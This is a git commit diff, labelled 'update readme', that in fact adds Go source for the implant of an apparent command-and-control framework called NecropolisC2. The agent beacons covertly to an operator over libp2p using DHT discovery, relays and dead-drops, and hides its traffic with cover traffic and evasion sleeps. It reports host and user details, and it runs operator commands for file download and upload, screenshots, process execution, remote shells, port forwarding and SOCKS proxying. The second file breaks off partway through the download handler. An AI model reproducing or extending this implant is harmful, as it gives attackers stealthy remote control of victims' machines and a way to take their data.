update readme
This commit is contained in:
@@ -0,0 +1,838 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/libp2p/go-libp2p"
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
|
||||
ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
|
||||
"github.com/multiformats/go-multiaddr"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
|
||||
"github.com/Yenn503/NecropolisC2/pkg/transport"
|
||||
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
|
||||
)
|
||||
|
||||
type Agent struct {
|
||||
node *transport.Node
|
||||
messenger *transport.Messenger
|
||||
keys *cryptography.ImplantKey
|
||||
operatorPub crypto.PubKey
|
||||
boxPubKey *[32]byte
|
||||
authToken []byte
|
||||
config AgentConfig
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
connected bool
|
||||
connectedMu sync.Mutex
|
||||
wg sync.WaitGroup
|
||||
beaconStream network.Stream
|
||||
beaconMu sync.Mutex
|
||||
beaconWriteMu sync.Mutex
|
||||
|
||||
deadManCmd string
|
||||
deadManTimeout time.Duration
|
||||
deadManTimer *time.Timer
|
||||
|
||||
relayPeers map[peer.ID]*relayPeerInfo
|
||||
relayMu sync.RWMutex
|
||||
|
||||
lastDHTNonce int64
|
||||
|
||||
implantBoxKeys *cryptography.BoxKeyPair
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
OperatorAddr string
|
||||
WSSAddr string
|
||||
BeaconInterval time.Duration
|
||||
BeaconJitter time.Duration
|
||||
ReconnectBackoff time.Duration
|
||||
RelayAddrs []string
|
||||
CoverTraffic bool
|
||||
CoverInterval time.Duration
|
||||
CoverJitter time.Duration
|
||||
}
|
||||
|
||||
func DefaultAgentConfig() AgentConfig {
|
||||
return AgentConfig{
|
||||
BeaconInterval: 10 * time.Second,
|
||||
BeaconJitter: 5 * time.Second,
|
||||
ReconnectBackoff: 5 * time.Second,
|
||||
CoverTraffic: true,
|
||||
CoverInterval: 4 * time.Second,
|
||||
CoverJitter: 3 * time.Second,
|
||||
}
|
||||
}
|
||||
|
||||
func loadOperatorPubKey() (crypto.PubKey, error) {
|
||||
if len(embeddedOperatorPubKey) == 0 {
|
||||
return nil, fmt.Errorf("no embedded operator public key — rebuild with build-implant tool")
|
||||
}
|
||||
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
|
||||
}
|
||||
|
||||
func loadOperatorBoxPubKey() *[32]byte {
|
||||
if len(embeddedOperatorBoxPubKey) != 32 {
|
||||
return nil
|
||||
}
|
||||
var key [32]byte
|
||||
copy(key[:], embeddedOperatorBoxPubKey)
|
||||
return &key
|
||||
}
|
||||
|
||||
func loadAuthToken() []byte {
|
||||
if len(embeddedAuthToken) != 32 {
|
||||
return nil
|
||||
}
|
||||
return embeddedAuthToken
|
||||
}
|
||||
|
||||
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
|
||||
if len(embeddedImplantPrivKey) == 0 {
|
||||
return nil, fmt.Errorf("no embedded implant private key — rebuild with necropolis generate")
|
||||
}
|
||||
priv, err := cryptography.LoadPrivateKey(embeddedImplantPrivKey)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("unmarshal implant key: %w", err)
|
||||
}
|
||||
pub := priv.GetPublic()
|
||||
pid, err := peer.IDFromPublicKey(pub)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("peer id from implant key: %w", err)
|
||||
}
|
||||
return &cryptography.ImplantKey{
|
||||
KeyPair: cryptography.KeyPair{PrivateKey: priv, PublicKey: pub},
|
||||
PeerID: pid,
|
||||
OperatorPubKey: operatorPub,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
|
||||
ctx, cancel := context.WithCancel(ctx)
|
||||
|
||||
operatorPub, err := loadOperatorPubKey()
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("load operator pubkey: %w", err)
|
||||
}
|
||||
|
||||
keys, err := loadImplantKey(operatorPub)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("load implant key: %w", err)
|
||||
}
|
||||
|
||||
nodeCfg := transport.NodeConfig{
|
||||
ListenAddr: "/ip4/0.0.0.0/tcp/0/ws",
|
||||
BootstrapPeers: transport.DefaultBootstrapAddrs(),
|
||||
EnableRelay: true,
|
||||
EnableRelayService: true,
|
||||
EnableMDNS: false,
|
||||
EnableDHT: true,
|
||||
RelayAddrs: cfg.RelayAddrs,
|
||||
PrivateKey: keys.PrivateKey,
|
||||
}
|
||||
|
||||
node, err := transport.NewNode(ctx, nodeCfg,
|
||||
libp2p.NoTransports,
|
||||
libp2p.Transport(ws.New),
|
||||
libp2p.Transport(tcp.NewTCPTransport),
|
||||
)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("create node: %w", err)
|
||||
}
|
||||
|
||||
boxPub := loadOperatorBoxPubKey()
|
||||
authToken := loadAuthToken()
|
||||
|
||||
implantBoxKeys, err := cryptography.GenerateBoxKey()
|
||||
if err != nil {
|
||||
cancel()
|
||||
node.Close()
|
||||
return nil, fmt.Errorf("generate implant box key: %w", err)
|
||||
}
|
||||
|
||||
a := &Agent{
|
||||
keys: keys,
|
||||
operatorPub: operatorPub,
|
||||
boxPubKey: boxPub,
|
||||
authToken: authToken,
|
||||
node: node,
|
||||
config: cfg,
|
||||
ctx: ctx,
|
||||
cancel: cancel,
|
||||
relayPeers: make(map[peer.ID]*relayPeerInfo),
|
||||
implantBoxKeys: implantBoxKeys,
|
||||
}
|
||||
|
||||
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
|
||||
a.messenger.SetAuthToken(authToken)
|
||||
a.messenger.SetHandler(a.handleCommand)
|
||||
|
||||
return a, nil
|
||||
}
|
||||
|
||||
func (a *Agent) Start() error {
|
||||
log.Printf("[implant] PeerID: %s", a.node.ID().String())
|
||||
log.Printf("[implant] Operator: %s", a.messenger.BeaconTopic())
|
||||
|
||||
if a.config.OperatorAddr != "" {
|
||||
m, err := multiaddr.NewMultiaddr(a.config.OperatorAddr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("parse operator addr %s: %w", a.config.OperatorAddr, err)
|
||||
}
|
||||
pi, err := peer.AddrInfoFromP2pAddr(m)
|
||||
if err != nil {
|
||||
return fmt.Errorf("parse operator peer info: %w", err)
|
||||
}
|
||||
if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
|
||||
return fmt.Errorf("connect to operator: %w", err)
|
||||
}
|
||||
log.Printf("[implant] connected to operator directly: %s", pi.ID.String())
|
||||
}
|
||||
|
||||
if a.config.WSSAddr != "" {
|
||||
m, err := multiaddr.NewMultiaddr(a.config.WSSAddr)
|
||||
if err == nil {
|
||||
pi, err := peer.AddrInfoFromP2pAddr(m)
|
||||
if err == nil {
|
||||
if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
|
||||
log.Printf("[implant] WSS fallback connect: %v", err)
|
||||
} else {
|
||||
log.Printf("[implant] connected via WSS: %s", a.config.WSSAddr)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[implant] starting discovery...")
|
||||
if err := a.node.StartDiscovery(); err != nil {
|
||||
return fmt.Errorf("discovery: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("[implant] subscribing to commands...")
|
||||
if err := a.messenger.ListenCommands(a.ctx); err != nil {
|
||||
return fmt.Errorf("listen commands: %w", err)
|
||||
}
|
||||
if err := a.messenger.ListenTask(a.ctx, a.node.ID().String()); err != nil {
|
||||
return fmt.Errorf("listen task: %w", err)
|
||||
}
|
||||
|
||||
a.node.SetStreamHandler(transport.CmdProtocolID, a.handleCommandStream)
|
||||
|
||||
ns := a.messenger.RendezvousString()
|
||||
if a.node.DHT != nil {
|
||||
a.wg.Add(1)
|
||||
go a.discoverOperatorLoop(ns)
|
||||
}
|
||||
|
||||
a.node.SetStreamHandler(transport.ShellProtocolID, a.handleShellStream)
|
||||
a.node.SetStreamHandler(transport.PortfwdProtocolID, a.handlePortfwdStream)
|
||||
a.node.SetStreamHandler(transport.SocksProtocolID, a.handleSocksStream)
|
||||
|
||||
a.wg.Add(1)
|
||||
go a.beaconLoop()
|
||||
|
||||
if a.config.CoverTraffic {
|
||||
a.wg.Add(1)
|
||||
go a.coverTrafficLoop()
|
||||
}
|
||||
|
||||
a.wg.Add(1)
|
||||
go a.streamKeepaliveLoop()
|
||||
|
||||
if a.node.DHT != nil {
|
||||
relayNS := a.relayRendezvous()
|
||||
a.wg.Add(1)
|
||||
go a.advertiseRelayLoop(relayNS)
|
||||
a.wg.Add(1)
|
||||
go a.discoverRelaysLoop(relayNS)
|
||||
a.wg.Add(1)
|
||||
go a.pollDHTCmdLoop()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *Agent) discoverOperatorLoop(ns string) {
|
||||
defer a.wg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[implant] panic in discoverOperatorLoop: %v", r)
|
||||
}
|
||||
}()
|
||||
log.Printf("[implant] DHT discovery started for: %s", ns)
|
||||
for {
|
||||
if a.node.DHT != nil {
|
||||
rt := a.node.DHT.RoutingTable()
|
||||
if rt != nil && rt.Size() >= 5 {
|
||||
break
|
||||
}
|
||||
}
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
EvasionSleep(2 * time.Second)
|
||||
}
|
||||
|
||||
for {
|
||||
func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[implant] panic in discoverOperatorLoop iteration: %v", r)
|
||||
}
|
||||
}()
|
||||
peerCh, err := a.node.FindPeers(a.ctx, ns)
|
||||
if err != nil {
|
||||
log.Printf("[implant] DHT find peers: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
for pi := range peerCh {
|
||||
if pi.ID == a.node.ID() || pi.ID != a.messenger.OperatorID() || len(pi.Addrs) == 0 {
|
||||
continue
|
||||
}
|
||||
if err := a.node.ConnectToPeer(a.ctx, pi); err != nil {
|
||||
log.Printf("[implant] DHT connect to %s: %v", pi.ID.String(), err)
|
||||
continue
|
||||
}
|
||||
a.connectedMu.Lock()
|
||||
if !a.connected {
|
||||
a.connected = true
|
||||
a.connectedMu.Unlock()
|
||||
log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String())
|
||||
go a.sendBeaconDirect(pi.ID)
|
||||
} else {
|
||||
a.beaconMu.Lock()
|
||||
streamNil := a.beaconStream == nil
|
||||
a.beaconMu.Unlock()
|
||||
a.connectedMu.Unlock()
|
||||
if streamNil {
|
||||
log.Printf("[implant] beacon stream nil, reconnecting to %s", pi.ID.String())
|
||||
go a.sendBeaconDirect(pi.ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
a.connectedMu.Lock()
|
||||
cs := a.node.Host.Network().Connectedness(a.messenger.OperatorID())
|
||||
if a.connected && cs != network.Connected && cs != network.Limited {
|
||||
a.connected = false
|
||||
}
|
||||
a.connectedMu.Unlock()
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
EvasionSleep(15 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func cryptoJitter(max time.Duration) time.Duration {
|
||||
if max <= 0 {
|
||||
return 0
|
||||
}
|
||||
var buf [8]byte
|
||||
rand.Read(buf[:])
|
||||
n := int64(binary.LittleEndian.Uint64(buf[:]) & 0x7FFFFFFFFFFFFFFF)
|
||||
return time.Duration(n % int64(max))
|
||||
}
|
||||
|
||||
func (a *Agent) beaconLoop() {
|
||||
defer a.wg.Done()
|
||||
for {
|
||||
func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[implant] panic in beaconLoop: %v\n%s", r, debug.Stack())
|
||||
}
|
||||
}()
|
||||
a.sendBeaconRegister()
|
||||
}()
|
||||
|
||||
jitter := cryptoJitter(a.config.BeaconJitter)
|
||||
sleep := a.config.BeaconInterval + jitter
|
||||
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
EvasionSleep(sleep)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) streamKeepaliveLoop() {
|
||||
defer a.wg.Done()
|
||||
for {
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
EvasionSleep(5 * time.Second)
|
||||
|
||||
func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[implant] panic in streamKeepaliveLoop: %v\n%s", r, debug.Stack())
|
||||
}
|
||||
}()
|
||||
|
||||
a.connectedMu.Lock()
|
||||
connected := a.connected
|
||||
opID := a.messenger.OperatorID()
|
||||
a.connectedMu.Unlock()
|
||||
|
||||
if !connected {
|
||||
return
|
||||
}
|
||||
|
||||
env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
|
||||
if err := a.sendEnvelopeDirect(opID, env); err != nil {
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) coverTrafficLoop() {
|
||||
defer a.wg.Done()
|
||||
for {
|
||||
jitter := cryptoJitter(a.config.CoverJitter)
|
||||
sleep := a.config.CoverInterval + jitter
|
||||
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
EvasionSleep(sleep)
|
||||
|
||||
func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[implant] panic in coverTrafficLoop: %v\n%s", r, debug.Stack())
|
||||
}
|
||||
}()
|
||||
a.sendCoverTraffic()
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) sendCoverTraffic() {
|
||||
env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
|
||||
topic := a.messenger.BeaconTopic()
|
||||
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
|
||||
log.Printf("[implant] cover traffic: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) buildRegisterPayload() ([]byte, error) {
|
||||
hostname, _ := os.Hostname()
|
||||
username := os.Getenv("USER")
|
||||
if username == "" {
|
||||
username = os.Getenv("USERNAME")
|
||||
}
|
||||
if u, err := user.Current(); err == nil && u.Name != "" {
|
||||
username = u.Name
|
||||
} else if err == nil && u.Username != "" {
|
||||
username = u.Username
|
||||
}
|
||||
uid, gid := "", ""
|
||||
if runtime.GOOS != "windows" {
|
||||
uid = fmt.Sprintf("%d", os.Getuid())
|
||||
gid = fmt.Sprintf("%d", os.Getgid())
|
||||
}
|
||||
reg := &apb.Register{
|
||||
Name: username,
|
||||
Hostname: hostname,
|
||||
UUID: a.node.ID().String(),
|
||||
Username: username,
|
||||
UID: uid,
|
||||
GID: gid,
|
||||
OS: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
PID: int32(os.Getpid()),
|
||||
Filename: os.Args[0],
|
||||
Version: "0.1.0",
|
||||
Locale: os.Getenv("LANG"),
|
||||
ActiveC2: a.messenger.OperatorID().String(),
|
||||
BoxPubKey: a.boxPubKey[:],
|
||||
}
|
||||
beaconReg := &apb.Z1{
|
||||
ID: a.node.ID().String(),
|
||||
Interval: int64(a.config.BeaconInterval.Seconds()),
|
||||
Jitter: int64(a.config.BeaconJitter.Seconds()),
|
||||
Register: reg,
|
||||
}
|
||||
data, err := proto.Marshal(beaconReg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (a *Agent) sendBeaconRegister() {
|
||||
beaconData, err := a.buildRegisterPayload()
|
||||
if err != nil {
|
||||
log.Printf("[implant] marshal beacon register: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)
|
||||
|
||||
a.connectedMu.Lock()
|
||||
connected := a.connected
|
||||
opID := a.messenger.OperatorID()
|
||||
a.connectedMu.Unlock()
|
||||
|
||||
if connected {
|
||||
if err := a.sendEnvelopeDirect(opID, env); err == nil {
|
||||
log.Printf("[implant] sent beacon register to %s", opID.String())
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
topic := a.messenger.BeaconTopic()
|
||||
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
|
||||
log.Printf("[implant] send register: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) sendBeaconDirect(operatorID peer.ID) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[implant] panic in sendBeaconDirect: %v", r)
|
||||
}
|
||||
}()
|
||||
log.Printf("[implant] sending direct beacon to %s", operatorID.String())
|
||||
|
||||
beaconData, err := a.buildRegisterPayload()
|
||||
if err != nil {
|
||||
log.Printf("[implant] direct beacon marshal: %v", err)
|
||||
return
|
||||
}
|
||||
env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)
|
||||
if err := a.sendEnvelopeDirect(operatorID, env); err != nil {
|
||||
log.Printf("[implant] direct beacon send: %v", err)
|
||||
a.connectedMu.Lock()
|
||||
a.connected = false
|
||||
a.connectedMu.Unlock()
|
||||
return
|
||||
}
|
||||
log.Printf("[implant] sent direct beacon to %s", operatorID.String())
|
||||
}
|
||||
|
||||
func (a *Agent) handleCommand(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
|
||||
if err := transport.VerifyEnvelope(env, a.operatorPub); err != nil {
|
||||
log.Printf("[implant] dropped command — %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if !bytes.Equal(env.Token, a.authToken) {
|
||||
log.Printf("[implant] dropped command — auth token mismatch")
|
||||
return
|
||||
}
|
||||
|
||||
if a.messenger.IsReplay(env.ID) {
|
||||
log.Printf("[implant] dropped replay — type=%d id=%d", env.Type, env.ID)
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[implant] received command type=%d", env.Type)
|
||||
|
||||
if a.implantBoxKeys != nil && len(env.Data) > 0 {
|
||||
decrypted, err := cryptography.DecryptMessage(env.Data, a.implantBoxKeys)
|
||||
if err == nil {
|
||||
env.Data = decrypted
|
||||
log.Printf("[implant] decrypted command type=%d", env.Type)
|
||||
}
|
||||
}
|
||||
|
||||
if a.deadManTimer != nil {
|
||||
a.deadManTimer.Reset(a.deadManTimeout)
|
||||
}
|
||||
|
||||
switch env.Type {
|
||||
case transport.MsgTypePs:
|
||||
a.handlePs(env)
|
||||
case transport.MsgTypeDownload:
|
||||
a.handleDownload(env)
|
||||
case transport.MsgTypeUpload:
|
||||
a.handleUpload(env)
|
||||
case transport.MsgTypeScreenshot:
|
||||
a.handleScreenshot(env)
|
||||
case transport.MsgTypeLs:
|
||||
a.handleLs(env)
|
||||
case transport.MsgTypeCd:
|
||||
a.handleCd(env)
|
||||
case transport.MsgTypePwd:
|
||||
a.handlePwd(env)
|
||||
case transport.MsgTypeExecute:
|
||||
a.handleExecute(env)
|
||||
case transport.MsgTypeKill:
|
||||
a.handleKill(env)
|
||||
case transport.MsgTypeDeadMan:
|
||||
a.handleDeadMan(env)
|
||||
default:
|
||||
log.Printf("[implant] unknown cmd type=%d", env.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handleCommandStream(s network.Stream) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[implant] panic in handleCommandStream: %v\n%s", r, debug.Stack())
|
||||
}
|
||||
}()
|
||||
defer s.Close()
|
||||
|
||||
remotePeer := s.Conn().RemotePeer()
|
||||
log.Printf("[implant] command stream from %s", remotePeer.String())
|
||||
|
||||
var msgLen uint32
|
||||
if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
|
||||
log.Printf("[implant] command stream read len: %v", err)
|
||||
return
|
||||
}
|
||||
if msgLen > 1<<20 {
|
||||
return
|
||||
}
|
||||
data := make([]byte, msgLen)
|
||||
if _, err := io.ReadFull(s, data); err != nil {
|
||||
log.Printf("[implant] command stream read data: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
env := &apb.Envelope{}
|
||||
if err := proto.Unmarshal(data, env); err != nil {
|
||||
log.Printf("[implant] command stream unmarshal: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
a.handleCommand(a.ctx, env, nil)
|
||||
}
|
||||
|
||||
func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
|
||||
ctx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
|
||||
defer cancel()
|
||||
ctx = network.WithAllowLimitedConn(ctx, "beacon stream")
|
||||
|
||||
s, err := a.node.NewStream(ctx, operatorID, transport.BeaconProtocolID)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open stream: %w", err)
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
|
||||
func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
|
||||
var data []byte
|
||||
if a.boxPubKey != nil && len(env.Data) > 0 {
|
||||
encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encrypt: %w", err)
|
||||
}
|
||||
data = encrypted
|
||||
} else {
|
||||
data = env.Data
|
||||
}
|
||||
|
||||
wireEnv := &apb.Envelope{
|
||||
ID: env.ID,
|
||||
Type: env.Type,
|
||||
Data: data,
|
||||
Token: env.Token,
|
||||
}
|
||||
pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
|
||||
if err == nil {
|
||||
wireEnv.SenderKey = pubBytes
|
||||
}
|
||||
|
||||
signingData, err := transport.EnvelopeSigningBytes(wireEnv)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal signing data: %w", err)
|
||||
}
|
||||
sig, err := a.keys.PrivateKey.Sign(signingData)
|
||||
if err != nil {
|
||||
return fmt.Errorf("sign: %w", err)
|
||||
}
|
||||
wireEnv.Signature = sig
|
||||
|
||||
s := a.getBeaconStream(operatorID)
|
||||
if s == nil {
|
||||
return fmt.Errorf("nil beacon stream")
|
||||
}
|
||||
|
||||
envData, err := proto.Marshal(wireEnv)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal: %w", err)
|
||||
}
|
||||
|
||||
a.beaconWriteMu.Lock()
|
||||
defer a.beaconWriteMu.Unlock()
|
||||
|
||||
s.SetWriteDeadline(time.Now().Add(5 * time.Second))
|
||||
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
|
||||
s.Close()
|
||||
a.setBeaconStream(nil)
|
||||
return fmt.Errorf("write len: %w", err)
|
||||
}
|
||||
if _, err := s.Write(envData); err != nil {
|
||||
s.Close()
|
||||
a.setBeaconStream(nil)
|
||||
return fmt.Errorf("write data: %w", err)
|
||||
}
|
||||
s.SetWriteDeadline(time.Time{})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *Agent) getBeaconStream(operatorID peer.ID) network.Stream {
|
||||
a.beaconMu.Lock()
|
||||
s := a.beaconStream
|
||||
if s != nil {
|
||||
a.beaconMu.Unlock()
|
||||
return s
|
||||
}
|
||||
a.beaconMu.Unlock()
|
||||
|
||||
cs := a.node.Host.Network().Connectedness(operatorID)
|
||||
if cs == network.Connected || cs == network.Limited {
|
||||
s, err := a.openBeaconStream(operatorID)
|
||||
if err == nil {
|
||||
return a.setOrCloseBeaconStream(s, "direct")
|
||||
}
|
||||
}
|
||||
|
||||
a.relayMu.RLock()
|
||||
var candidates []peer.ID
|
||||
for id, rp := range a.relayPeers {
|
||||
if rp.connected {
|
||||
candidates = append(candidates, id)
|
||||
}
|
||||
}
|
||||
// prefer relays with fewer failures — cheapest signal available
|
||||
sort.Slice(candidates, func(i, j int) bool {
|
||||
return a.relayPeers[candidates[i]].failCount < a.relayPeers[candidates[j]].failCount
|
||||
})
|
||||
a.relayMu.RUnlock()
|
||||
|
||||
for _, relayID := range candidates {
|
||||
circuitAddr := fmt.Sprintf("/p2p/%s/p2p-circuit/p2p/%s",
|
||||
relayID.String(), operatorID.String())
|
||||
m, err := multiaddr.NewMultiaddr(circuitAddr)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
connCtx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
|
||||
err = a.node.ConnectToPeer(connCtx, peer.AddrInfo{ID: operatorID, Addrs: []multiaddr.Multiaddr{m}})
|
||||
cancel()
|
||||
if err != nil {
|
||||
log.Printf("[implant] relay %s to operator: %v", relayID.String(), err)
|
||||
continue
|
||||
}
|
||||
log.Printf("[implant] connected to operator via relay %s", relayID.String())
|
||||
s, err := a.openBeaconStream(operatorID)
|
||||
if err == nil {
|
||||
return a.setOrCloseBeaconStream(s, "relayed")
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *Agent) setBeaconStream(s network.Stream) {
|
||||
a.beaconMu.Lock()
|
||||
a.beaconStream = s
|
||||
a.beaconMu.Unlock()
|
||||
}
|
||||
|
||||
func (a *Agent) setOrCloseBeaconStream(s network.Stream, via string) network.Stream {
|
||||
a.beaconMu.Lock()
|
||||
if a.beaconStream == nil {
|
||||
a.beaconStream = s
|
||||
} else {
|
||||
s.Close()
|
||||
s = a.beaconStream
|
||||
}
|
||||
a.beaconMu.Unlock()
|
||||
log.Printf("[implant] persistent beacon stream opened (%s)", via)
|
||||
return s
|
||||
}
|
||||
|
||||
func (a *Agent) pollDHTCmdLoop() {
|
||||
defer a.wg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[implant] panic in pollDHTCmdLoop: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
if !a.node.WaitForDHT(a.ctx) {
|
||||
return
|
||||
}
|
||||
|
||||
opID := a.messenger.OperatorID()
|
||||
for {
|
||||
nonce := a.lastDHTNonce + 1
|
||||
key := transport.CommandDHTKey(opID, nonce)
|
||||
val, err := a.node.GetDHTValue(a.ctx, key)
|
||||
if err != nil || len(val) == 0 {
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
case <-time.After(30 * time.Second):
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
env := &apb.Envelope{}
|
||||
if err := proto.Unmarshal(val, env); err != nil {
|
||||
log.Printf("[implant] dht dead-drop unmarshal: %v", err)
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
case <-time.After(30 * time.Second):
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
a.handleCommand(a.ctx, env, nil)
|
||||
a.lastDHTNonce = nonce
|
||||
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
case <-time.After(30 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) Close() error {
|
||||
a.cancel()
|
||||
a.wg.Wait()
|
||||
return a.node.Close()
|
||||
}
|
||||
@@ -0,0 +1,317 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"time"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
|
||||
cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
|
||||
"github.com/Yenn503/NecropolisC2/pkg/transport"
|
||||
)
|
||||
|
||||
func (a *Agent) sendError(msgType uint32, errMsg string) {
|
||||
errResp := &cpb.Response{Err: 1, ErrMsg: errMsg}
|
||||
errData, _ := proto.Marshal(errResp)
|
||||
a.sendResult(msgType, errData)
|
||||
}
|
||||
|
||||
func (a *Agent) sendResult(resultType uint32, data []byte) {
|
||||
env := a.messenger.CreateEnvelope(resultType, data)
|
||||
|
||||
a.connectedMu.Lock()
|
||||
connected := a.connected
|
||||
opID := a.messenger.OperatorID()
|
||||
a.connectedMu.Unlock()
|
||||
|
||||
if connected {
|
||||
if err := a.sendEnvelopeDirect(opID, env); err != nil {
|
||||
log.Printf("[implant] direct result failed, fallback pubsub: %v", err)
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
topic := a.messenger.BeaconTopic()
|
||||
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
|
||||
log.Printf("[implant] send result: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handlePs(env *apb.Envelope) {
|
||||
result := &apb.Z13{}
|
||||
result.Processes = listProcesses()
|
||||
data, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] ps result: %d processes", len(result.Processes))
|
||||
a.sendResult(transport.MsgTypePs, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleDownload(env *apb.Envelope) {
|
||||
req := &apb.Z22{}
|
||||
if err := proto.Unmarshal(env.Data, req); err != nil {
|
||||
a.sendError(transport.MsgTypeDownload, fmt.Sprintf("unmarshal: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
result := &apb.Z23{Path: req.Path}
|
||||
